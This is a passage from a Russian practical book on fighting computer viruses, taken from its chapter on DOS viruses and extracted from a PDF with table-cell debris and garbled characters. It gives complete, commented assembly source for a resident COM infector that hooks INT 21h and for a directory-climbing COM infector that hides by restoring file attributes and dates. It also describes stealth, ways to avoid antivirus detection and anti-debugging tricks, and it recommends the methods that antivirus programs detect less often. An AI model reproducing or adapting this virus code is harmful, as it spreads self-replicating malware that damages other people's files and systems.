Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
61 |
|
|
|
cmp |
ah,099h |
; Это проверка на присутствие в памяти? |
je |
rezchk |
; Да, мы там уже сидим |
cmp |
ah,4bh |
; Какая-то программа запущена |
je |
infect |
; да, заразим ее |
exit: |
|
|
pop |
ds |
; восстановим ds из стека |
popa |
|
; восстановим все регистры из стека |
db |
0eah |
; передадим управление оригинальному |
|
|
; обработчику |
oi21 |
dd ? |
; Оригинальный обработчик хранится здесь |
rezchk: mov |
bh,099h |
; Ответим на вопрос присутствия в памяти |
jmp |
exit |
; и передадим управление оригинальному |
|
|
; обработчику |
infect: call |
tsrdel |
; |
tsrdel: pop |
bp |
; Получаем новое |
sub |
bp,offset tsrdel |
; дельта-смещение |
mov |
ax,3d02h |
; откроем запущенный файл в режиме |
int |
21h |
; чтение/запись |
xchg |
bx,ax |
; положим хэндл файла в bx |
push |
cs cs |
; настраиваем ds и es через стек, чтобы |
pop |
ds es |
; они указывали на cs |
mov |
ah,3fh |
; Читаем из файла |
lea |
dx,[bp+saved] |
; в переменную saved |
mov |
cx,3 |
; первых 3 байта |
int |
21h |
; |
cmp |
word ptr [bp+saved],'ZM' |
; Проверяем, а не *.exe ли это |
je |
close |
; да, это *.exe, закрываем файл |
cmp |
word ptr [bp+saved],'MZ' |
; |
je |
close |
; |
mov |
ax,4202h |
; Переходим в конец файла |
xor |
cx,cx |
; Обнуляем cx |
cwd |
|
; Обнуляем dx |
int |
21h |
; Теперь в ax хранится размер запущенного |
|
|
; файла |
mov |
cx,word ptr [bp+saved+1] |
; Положим 2 и 3 байты из заголовка в cx |
add |
cx,finished-start+3 |
; добавим размер вируса и длину прочитанных |
|
|
; байтов (3) |
cmp |
ax,cx |
; Если ax=cx, то файл уже инфицирован |
jz |
close |
; Закроем его |
sub |
ax,3 |
; Отнимем от ax - 3 длину самого jmp |
mov |
word ptr [bp+newjump+1],ax |
; и запишем длину перехода в переменную |
|
|
; newjump |
mov |
ax,4200h |
; Перейдем в начало файла |
xor |
cx,cx |
; Обнулим cx |
cwd |
|
; Обнулим dx |
int |
21h |
; |
mov |
ah,40h |
; Запишем в начало программы |
62 |
|
DOS вирусы |
|
|
|
lea |
dx,[bp+newjump] |
; jmp на тело вируса |
mov |
cx,3 |
; это 3 байта |
int |
21h |
; |
mov |
ax,4202h |
; Переходим в конец файла |
xor |
cx,cx |
; Обнуляем cx |
cwd |
|
; Обнуляем dx |
int |
21h |
; |
mov |
ah,40h |
; Дописываем тело вируса |
lea |
dx,[bp+start] |
; от начала |
mov |
cx,finished-start |
; и до конца |
int |
21h |
; |
close: |
|
|
mov |
ah,3eh |
; Закрываем файл |
int |
21h |
; |
abort: jmp |
exit |
; Возвращаем управление оригинальному |
|
|
; обработчику |
saved |
db 0cdh,20h,0 |
; сохраненные байты |
newjump |
db 0e9h,0,0 |
; Здесь будет jmp + смещение |
finished: |
|
; Все, конец вируса |
code |
ends |
; |
end |
blank |
; |
;---------------------------------------------- |
|
|
В данном вирусе стоит особо остановиться на двух моментах.
1. Рассмотрим посадку в память:
;---------------------------------------------- |
|
|
; |
|
|
sub |
word ptr cs:[2],80h |
; значит, нас в памяти нет, тогда садимся |
mov |
ax,cs |
; Устанавливаем ax, чтобы указывал на cs |
dec |
ax |
; Уменьшим ax на 1, теперь он указывает на |
mov |
ds,ax |
; MCB, положим в ds - ax |
sub |
word ptr ds:[3],80h |
; отгрызем себе памяти 2 кб |
xor |
ax,ax |
; положим в ax - 0 |
mov |
ds,ax |
; поместим 0 в ds |
sub |
word ptr ds:[413h],2 |
; добавочные BIOS данные 2 кб |
mov |
ax,word ptr ds:[413h] |
; поместим их в ax |
mov |
cl,6 |
; положим в cl - 6 |
shl |
ax,cl |
; Умножим доступную память на 64 |
mov |
es,ax |
; результат в es |
push |
cs |
; настроим через стек |
pop |
ds |
; ds íà cs |
xor |
di,di |
; обнулим di |
lea |
si,[bp+start] |
; откуда начинаем посадку в память |
(start) |
|
|
mov |
cx,finished-start |
; кол-во байт для посадки в память (весь |
|
|
; вирус) |
rep |
movsb |
; Садимся в память |
; |
|
|
;---------------------------------------------- |
|
|
DOS вирусы |
63 |
|
|
Она отличается тем, что несколько сложнее реализуется, но я бы рекомендовал использовать именно ее, так как при ее использовании появляется возможность написания резидентных паразитов. Также уменьшается вероятность обнаружения антивирусными программами, так как не используются «подозрительные» DOS-функции.
2. Прямой перехват 21 прерывания (подмена обработчика):
;---------------------------------------------- |
|
|
xor |
ax,ax |
; Обнулим ax |
mov |
ds,ax |
; Положим ax в ds |
lea |
ax,new21 |
; Делаем так, чтобы ax указывал на новый |
|
|
; обработчик 21 прерывания |
sub |
ax,offset start |
; отнимем смещение от начала (start) |
mov |
bx,es |
; положим экстрасегмент в bx |
cli |
|
; выключаем прерывания |
xchg |
ax,word ptr ds:[84h] |
; переключаемся на новый обработчик |
xchg |
bx,word ptr ds:[86h] |
; |
mov |
word ptr es:[oi21-offset start],ax ; и сохраняем старый |
|
mov |
word ptr es:[oi21+2-offset start],bx ; |
|
sti |
|
; включаем прерывания |
;---------------------------------------------- |
|
|
Преимущества в этом методе те же, что и с посадкой в память, а именно:
•маскировка;
•удобство реализации паразитов.
В общем, описанный выше вирус является простейшим резидентным *.com паразитом. При проверке его AVP он вирусом назван не был, а идентифицировался как «подозрение на вирус типа TypeCOM_TSR». А самый простой резидентный вирус вообще никак не идентифицировался.
Лечение данных вирусов никак не отличается от их *.com и *.exe нерезидентных братьев. Разве что перед лечением необходимо загрузиться с чистой DOS-дискеты.
Глава 5 Вирусные технологии
Теперь поговорим о том, как вирусы прячутся от людей и антивирусных программ.
Самые первые маскировочные приемы — это усиление кода и перехват сообщений об ошибке записи. Позже появился так называемый «не полный стелс-механизм», т. е. когда либо пользователь, либо программа обращалась к зараженному файлу, а резидентный вирус (который постоянно находится в памяти как бы в спящем состоянии) просыпался и изменял информацию о размере файла на старый размер файла, как будто вирусного тела там и не было. Но если заглянуть внутрь файла, то вирусное тело, как и положено, будет на месте, что и позволяет его удалить.
64 |
DOS вирусы |
|
|
Позже появились вирусы, основанные на так называемой технологии «полный стелс». Данная технология заключалась в том, что вирус, как и в предыдущем случае, будучи резидентным отлавливал DOS-функции чтения или изменения файла и перед тем как передать управление DOS'у, он вначале удалял вирусное тело. Когда пользователь или антивирусная программа просматривали файл, то вируса там уже не было, а перед закрытием та часть вируса, что была в памяти, опять заражала этот файл. Поэтому было очень сложно обнаружить вирусы с данной технологией маскировки.
Сейчас довольно распространены вирусы, которые в большинстве случаев для маскировки используют антиэвристические механизмы и «мутационные» технологии.
5.1. Ускорение эпидемии и простейшая маскировка
Написание обыкновенного нерезидентного вируса сопряжено с рядом проблем. Например, замечательный вирус поселился на каком-нибудь компьютере и заразил всю директорию в которой он находился. А что если ни один зараженный файл из этой директории не будет скопирован в другие директории? Так вирус может томиться в ожидании долгие месяцы или даже годы, а если он и был перемещен с зараженным файлом в другую директорию, то дальше инфицирования этой директории дело не двинется. Так что же в этой ситуации делать? Необходимо использовать такой прием для ускорения эпидемии. В чем же заклю- чается его сущность? Все довольно просто: вирус должен обойти директории и все встреченные подходящие файлы заразить. Необходимо модифицировать наш *.com паразит таким образом, чтобы он всего лишь менял директории.
Существует множество способов обхода директорий, но каждый разработ- чик вирусов использует свой любимый. Мы рассмотрим самый расспространенный. Это так называемый «dot dot»8 обход, его сущность заключается в том, что запоминается текущая директория, а затем из нее идет смена директорий методом подъема на высшую директорию, аналогично команде DOS «cd ..». Когда корневой каталог достигнут, происходит возвращение в каталог, из которого вирус стартовал.
Теперь рассмотрим в качестве примера сохранение текущей директории в переменную «curr_dir»:
;----------------------------------------------
mov ah,47h xor dl,dl
lea si,[bp+curr_dir] int 21h
;----------------------------------------------
Здесь все довольно тривиально и объяснять особо нечего. Теперь посмотрим, как сменить директорию на более высокую:
8 Название dot-dot происходит от использования двух точек «..» в качестве имени каталога для перехода — в ОС MS DOS они обозначают каталог верхнего уровня. — Ïðèì.ðåä.
DOS вирусы |
65 |
|
|
;----------------------------------------------
mov ah,3bh
lea dx,[bp+dot_dot] int 21h
;----------------------------------------------
Здесь тоже все довольно просто, но стоит заметить, что для относительной адресации обращаемся к данным с использованием индексного регистра bp.
Все попытки ускорения эпидемии могут оказаться бесполезными, если на найденных вирусом файлах стоит атрибут «только чтение». Его необходимо вна- чале сохранить, впрочем, как и остальные атрибуты, а затем снять, после чего заразить файл вирусом, а в конце перед передачей управления оригинальной программе восстановить все атрибуты.
Рассмотрим на примере сохранение и снятие атрибутов:
;---------------------------------------------- |
|
mov ax,4300h |
; DOS-функция получения атрибутов |
lea dx,[bp+new_dta+30] |
; файла с именем, хранящимся по адресу |
int 21h |
; new_dta+30 |
push cx |
; Непосредственно сохранение атрибутов файла в |
|
; стеке |
inc al |
; Теперь эта функция преобразуется в функцию |
xor cx,cx |
; изменения атрибутов; с cx=0 это полное их |
int 21h |
; снятие |
;---------------------------------------------- |
|
Теперь посмотрим, как восстанавливаются атрибуты файла: |
|
;---------------------------------------------- |
|
mov ax,4301h |
; |
pop cx |
; Вот собственно само восстановление атрибутов |
lea dx,[bp+new_dta+30] ; файла |
|
int 21h |
; |
;---------------------------------------------- |
|
Все здесь используемые функции были описаны в таблице (см. гл. 3).
Если пользователь заметит, что файл, который у него уже три года лежит нетронутым, вдруг изменил дату последнего изменения на сегодняшнее число, он ничего не заподозрит?
Из этих рассуждений следует: необходимо, чтобы дата после заражения оставалась неизменной. Что для этого нужно? Сначала необходимо сохранить дату последнего изменения файла, затем его инфицировать и после этого восстановить старую дату.
Рассмотрим листинг :
;---------------------------------------------- |
|
|
mov ax,5700h |
; DOS функция получения времени изменения файла |
|
int 21h |
; |
|
push cx dx |
; |
Собственно само сохранение даты и времени файла |
;---------------------------------------------- |
|
|
А теперь после инфицирования восстановим старую дату и время:
;---------------------------------------------- |
|
mov ax,5701h |
; DOS-функция изменения даты и времени файла |
66 |
DOS вирусы |
|
|
pop dx cx |
; восстановление старой даты и времени |
int 21h |
|
;---------------------------------------------- |
|
Здесь необходимо отметить, что во время описания *.com и *.exe паразита были намеренно упущены некоторые детали. В *.com паразите необходимо, чтобы размер вируса + размер файла был не более 65535 байт (размер одного сегмента)9. Рассмотрим, как нужно модифицировать проверку на инфицированность, чобы она также проверяла и размер?
Взглянем на листинг:
;---------------------------------------------- |
|
|
mov ah,3fh |
; |
Читаем из файла |
lea dx,[bp+orig_bytes] |
; |
Сохраняем оригинальный заголовок |
mov cx,3 |
; |
Читаем 3 файла |
int 21h |
; |
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение |
||
add cx,end_vir-st_vir+3 |
; |
Преобразуем в размер файла без заголовка |
push ax |
; |
Положить ax в стек |
add ax,end_vir-st_vir |
; |
Добавим к размеру файла размер вируса |
cmp ax,65535 |
; |
Проверим, не больше ли это 1 сегмента |
jnl no_infect |
; |
Если больше, то не заражаем |
pop ax |
; |
Восстановим ax из стека |
cmp ax,cx |
; |
Сравним размеры |
jnz infect |
; |
Если файл не заражен, то заразим |
no_infect: |
|
|
;---------------------------------------------- |
|
|
В *.exe паразите необходимо проверять, чтобы при инфицировании наш вирус не трогал также оверлейные модули (*.exe модули, которые загружают в память не всю программу целиком, а только одну ее часть, и в процессе исполнения подгружаются остальные части с жесткого диска). И как же это реализовать? Необходимо, чтобы длина из заголовка *.exe файла совпадала с реальной длиной этого файла.
Взглянем на листинг:
;---------------------------------------------- |
|
|
mov ax,word ptr[bp+newDTA+26] ; |
Это реальная длина файла |
|
mov bl,byte ptr[bp+buffer+02] ; |
В bx будет храниться длина файла |
|
mov bh,byte ptr[bp+buffer+04] ; |
из заголовка (buffer) |
|
cmp ax,bx |
; |
Проверяем соответствие |
je infect_exe |
; |
Если это не оверлей, то заражаем его |
;---------------------------------------------- |
|
|
Еще один вариант проверки на оверлейность *.exe файла:
;----------------------------------------------
cmp word ptr[bp+buffer+26],0
9 Эта особенность присуща только данному описываемому типу вирусов, поскольку в алгоритме размножения для копирования используется буфер размером всего лишь 64 KB —
Ïðèì. ðåä.
DOS вирусы |
67 |
|
|
je |
infect_exe |
;---------------------------------------------- |
|
Также при инфицировании DOS *.exe файлов их следует проверять, чтобы они не оказались Windows формата.
Вот листинг такой проверки:
;----------------------------------------------
cmp word ptr[bp+buffer+24],40h jne infect_exe
;----------------------------------------------
Ну вот, это довольно простой и удобный способ.
Теперь все описанные выше приемы применим в деле на *.com паразите для наглядности. Но вы, наверное, уже поняли, что их использовать можно где угодно.
А теперь к листингу вируса:
;---------------------------------------------- |
|
|
.model tiny |
|
|
.code |
|
|
org 100h |
|
|
start: |
db 0e9h,00h,00h |
; |
st_vir: |
call $+3 |
|
f_offset: |
pop bp |
; |
|
int 1h |
|
|
sub bp, OFFSET f_offset |
; |
|
|
; |
|
|
; |
|
lea si,[bp+orig_bytes] |
; |
|
mov di,100h |
; |
|
push di |
; |
|
movsw |
|
|
movsb |
|
|
lea dx,[bp+new_dta] |
; |
|
mov ah,1ah |
|
|
int 21h |
|
|
mov ah,47h |
; |
|
xor dl,dl |
; Сохранение текущей директории |
|
lea si,[bp+curr_dir] |
; |
|
int 21h |
; |
f2: |
|
|
|
mov ah,4eh |
; |
|
lea dx,[bp+file_m] |
; |
|
xor cx,cx |
; |
f_next: |
int 21h |
; |
|
jnc nexta |
; |
|
jmp next_dir |
|
nexta: |
|
|
|
mov ax,4300h |
; Получение и сохранение атрибутов файла |
|
lea dx,[bp+new_dta+30] |
; |
|
int 21h |
; |
68 |
|
DOS вирусы |
|
|
|
push cx |
; |
|
inc al |
; Снятие всех атрибутов перед |
|
xor cx,cx |
; |
инфицированием |
int 21h |
; |
|
mov ax,3d02h |
; |
|
lea dx,[bp+new_dta+30] |
; |
|
int 21h |
; |
|
xchg ax,bx |
; |
|
mov ax,5700h |
; |
Сохранение даты и времени файла |
int 21h |
; |
|
push cx dx |
; |
|
mov ah,3fh |
; |
Читаем из файла |
lea dx,[bp+orig_bytes] |
; |
Сохраняем оригинальный заголовок |
mov cx,3 |
; |
Читаем три файла |
int 21h |
; |
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение |
||
add cx,end_vir-st_vir+3 |
; |
Преобразуем в размер файла без заголовка |
push ax |
; |
Положить ax в стек |
add ax,end_vir-st_vir |
; |
Добавим к размеру файла размер вируса |
cmp ax,65535 |
; |
Проверим, не больше ли это 1 сегмента |
jnl no_infect |
; |
Если больше, то не заражаем |
pop ax |
; |
восстановим ax из стека |
cmp ax,cx |
; |
Сравним размеры |
jnz infect |
; Если файл не заражен, то заразим |
|
no_infect: |
|
|
mov ax,5701h |
; |
Восстановление времени и даты |
pop dx cx |
; |
|
int 21h |
; |
|
mov ah,3eh |
; |
|
int 21h |
; |
|
mov ax,4301h |
; |
|
pop cx |
; |
Восстановление настоящих атрибутов |
lea dx,[bp+new_dta+30] |
; |
|
int 21h |
; |
|
mov ah,4fh |
; |
|
jmp short f_next |
; |
|
exit: |
|
|
mov ah,3bh |
; |
Переход в оригинальную директорию |
lea dx,[bp+ret_dir] |
; |
|
int 21h |
; |
|
mov dx,80h |
; |
|
mov ah,1ah |
|
|
int 21h |
|
|
retn |
; |
|
infect:
mov ax,word ptr [bp+new_dta+26] sub ax,3
DOS вирусы |
|
|
69 |
|
|
|
|
|
mov word ptr [bp+jmp_offset],ax |
|
|
|
mov ax,4200h |
|
|
|
cwd |
|
|
|
xor cx,cx |
|
|
|
int 21h |
|
|
|
mov ah,40h |
; |
|
|
int 1h |
|
|
|
mov cx,3 |
; |
|
|
lea dx,[bp+header] |
; |
|
|
int 21h |
; |
|
|
mov ax,4202h |
|
|
|
xor cx,cx |
|
|
|
cwd |
|
|
|
int 21h |
|
|
|
mov ah,40h |
; |
|
|
int 1h |
|
|
|
mov cx,end_vir-st_vir |
; |
|
|
lea dx,[bp+st_vir] |
; |
|
|
int 21h |
; |
|
|
mov ax,5701h |
; |
|
|
pop dx cx |
; |
Восстановление оригинальных даты и времени |
|
int 21h |
; |
|
|
mov ah,3eh |
; |
|
|
int 21h |
; |
|
|
pop cx |
; Восстановление оригинальных атрибутов |
|
|
mov ax,4301h |
; |
|
|
lea dx,[bp+new_dta+30] |
; |
|
|
int 21h |
; |
|
next_dir: |
|
|
|
|
mov ah,3bh |
; Переход на более высокую директорию |
|
|
lea dx,[bp+dot_dot] |
; |
|
|
int 21h |
; |
|
|
jc exit |
|
|
|
jmp f2 |
|
|
file_m |
db '*.com',0 |
; |
|
orig_bytes |
db 0cdh,20h,0 |
; |
|
dot_dot |
db '..',0 |
; |
Директория, куда будет осуществляться |
|
|
; |
переход |
header |
db 0e9h |
; |
|
jmp_offset |
dw 0 |
; |
|
ret_dir |
db '\' |
; Этот символ необходим для возврата в |
|
|
|
; оригинальную директорию |
|
end_vir |
equ $ |
|
|
curr_dir |
db 64 dup(?) |
; Место под имя оригинальной директории |
|
new_dta |
db 43 dup(?) |
; |
|
end start ;----------------------------------------------
70 |
DOS вирусы |
|
|
Весь вирус был разобран ранее, поэтому комментировались только новые моменты. Это было сделано, чтобы вы посмотрели и сами разобрались в немного усложнившейся логике вируса.
Лечение усложненных вирусов ничем не усложнилось, так как метод инфицирования не изменился.
5.2. Усиление кода
Усиление кода является одним из первых защитных механизмов, до которого додумались разработчики вирусов. Что же это такое? Проще говоря, это последовательности инструкций, при выполнении которых отладчики и дизассемблеры работают с ошибками или вообще не работают. Итак, усиление кода — это инструкции, ориентированные на обман либо отладчика, либо дизассемблера.
Начнем с обмана отладчиков.
Одним из самых старых способов обмана отладчиков является вставить везде и побольше 1 и 3 прерываний (int 1h и int 3h): при выполнении программы под отладчиком она будет каждый раз прерываться при попадании на эти инструкции. Второй способ сродни первому — нужно аналогичным образом поставить команды hlt. Эти два способа хоть и старые, но до сих пор действенные.
Третий способ — это работа со стеком: отладчик либо виснет, либо умирает при попытке исполнить такие команды10:
;----------------------------------------------
debugger_die:
not sp not sp
;----------------------------------------------
Достаточно вставить этот кусочек кода в начало программы, и практически все отладчики при попытке исполнить его погибнут. Также можно использовать другие инструкции по работе со стеком (dec sp...). Это тоже даст нужный эффект.
Возможна подмена обработчиков 1 и 3 прерываний на обработчик-пустыш- ку. Рассмотрим этот способ на примере программы, которая при нормальной работе выводит одно сообщение, а при отладке другое.
Рассмотрим листинг:
;----------------------------------------------
cseg segment org 100h
assume cs:cseg,ds:cseg,es:cseg
start: |
|
|
|
mov |
ax, 2503h |
; |
|
mov |
dx, |
offset int_start |
;Ставим новый обработчик на 3 прерывание |
int |
21h |
|
; |
10 Имеются ввиду отладчики 8086, не имеющие режимов эмуляции и поддержки аппаратных регистров отладки. — Ïðèì. ðåä.
